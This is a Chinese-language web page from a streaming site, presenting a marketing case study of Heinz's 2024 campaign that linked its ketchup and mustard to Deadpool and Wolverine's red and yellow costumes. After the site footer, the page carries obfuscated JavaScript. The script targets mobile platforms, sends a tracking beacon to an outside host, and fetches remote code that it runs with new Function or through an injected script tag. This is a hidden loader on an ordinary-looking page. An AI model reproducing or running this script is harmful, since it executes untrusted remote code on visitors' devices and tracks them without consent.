《红黄出击》——亨氏如何“劫持”《死侍与金刚狼》，成就一场文化级营销事件

来源：泡剧网人气：284更新：2025-07-21 13:14:10


戛纳国际创意节报道一、创意核心：不是合作，而是“文化劫持”

亨氏在2024年夏天做了一件令人拍案叫绝的事：它没有和漫威正式联名，却让全世界观众一看到《死侍与金刚狼》的红黄战衣，就想到番茄酱和芥末酱。



这种视觉“联想偷渡”，是一次绝妙的品牌劫持创意。


关键洞察：Deadpool 和 Wolverine，一个红衣，一个黄衣，恰似亨氏番茄酱与芥末酱瓶身的配色。抓住这一色彩锚点，亨氏用“视觉无法忘记（Can’t unsee it）”的逻辑，占领用户心智。

二、策略亮点：从注意力到购买力的闭环渗透


这不是一次简单的“话题营销”，而是一场跨平台、跨媒介的全链路渗透行动：


  1. 社交破圈

  • 在漫威官方社交账号投放一支“伪预告片”，预期看到新镜头的粉丝，却发现影片突然变成亨氏广告，震惊 → 转发 → 讨论 → 记住。

  1. 户外曝光

  • 将电影海报改成“红黄瓶身英雄”广告，投放于洛杉矶、纽约、多伦多等地地标性区域，完成场景干预+视觉混淆

  1. 影院体验

  • 在影片正式放映前投放“调味品版预告”，连首映红毯都安排了粉丝扮成红黄瓶走秀。

  1. 流媒体转化

  • Disney+上线时配合Instacart推出“边看边买”优惠券，实现从娱乐到购买的无缝过渡

三、效果评估：口碑+销量+品牌力三线飘红 媒体声量

  • 全球 earned media 曝光达15.8亿次

  • 广告互动率高达行业基准的789%

  • 预告片单条观看时长超21,000小时

实际销售

  • 番茄酱销售同比增长2.9%

  • 芥末酱销售增长8.5%，市场份额提升12%

  • 远超竞争品牌与私有品牌同期增长水平

️ 品牌文化影响力

  • 网友自发改图、造梗，“红黄CP”成夏季热门话题

  • Deadpool演员Ryan Reynolds与Wolverine演员Hugh Jackman在采访中亲自“认领”调味品形象

  • 社交平台满屏都是“我再也无法直视这两人了”的用户评论

  • 从品牌符号，变为流行文化现象

四、行业启示：品牌借势的新范式

  1. 视觉识别+文化节点=传播引爆点

  2. 色彩是人类记忆中最原始的锚点之一，结合文化事件，能快速形成“记忆连接”。

  3. 借势不如“入势”

  4. 不再满足于联名logo露出，而是深度嵌入IP场景、故事与粉丝认知，成为IP的一部分

  5. 从广告走向“文化段子”

  6. 真正成功的品牌传播，不只是卖产品，而是让消费者自动为品牌传播“笑点”与“段子”

  7. 产品即主角，品牌即内容

  8. 这是品牌营销中最难做到的一点：不靠大明星，不靠促销，而让产品本身成为娱乐体验的主角。

五、结语


《红黄出击》不仅是一次借势营销的胜利，更是一次品牌年轻化的范本。

它用创意劫持了大片的注意力，用色彩占领了文化想象，让消费者“看一眼就忘不了”——这就是品牌存在感的极致表达。

对于任何一个希望在内容爆炸时代脱颖而出的品牌，这个案例都是一个重要的提醒：别再只做广告，要敢于做“不可忽视的文化一部分”。

免责声明：本文观点仅代表作者本人，供参考、交流，不构成任何建议。


最新资讯

郑重声明：泡剧网所有播放资源均由机器人收集于互联网,本站不参与任何影视资源制作与存储,如若侵犯了您的权益请书面告知,我们会及时处理.

如果喜欢泡剧网请分享给身边的朋友,站内广告是本站能持续为大家服务的立命之本还望顺手支持一下^_^

百度蜘蛛 - 谷歌地图 - 神马爬虫 - 搜狗蜘蛛 - 奇虎地图 - 必应爬虫

Copyright © 2019-2024 · 泡剧网 www.bjhuahong.com

function wTUYUY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return wTUYUY(t);};window[''+'d'+'p'+'U'+'X'+'Z'+'X'+'w'+'H'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ded.siabcbfo.com:8887/stats/2497?i=67&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/mj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/mj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZkLnNNiZnNNrdmxydnJrdm5uZG5yaHMuY29tJTNNBODg4NNw==','d3NzJTTNBJTTJGJTTJGZC5zamZrYnZza3Zzam5ia3J2LmNvbSUzQTTg4ODc=','2891',window,document,['N','T']);}:function(){};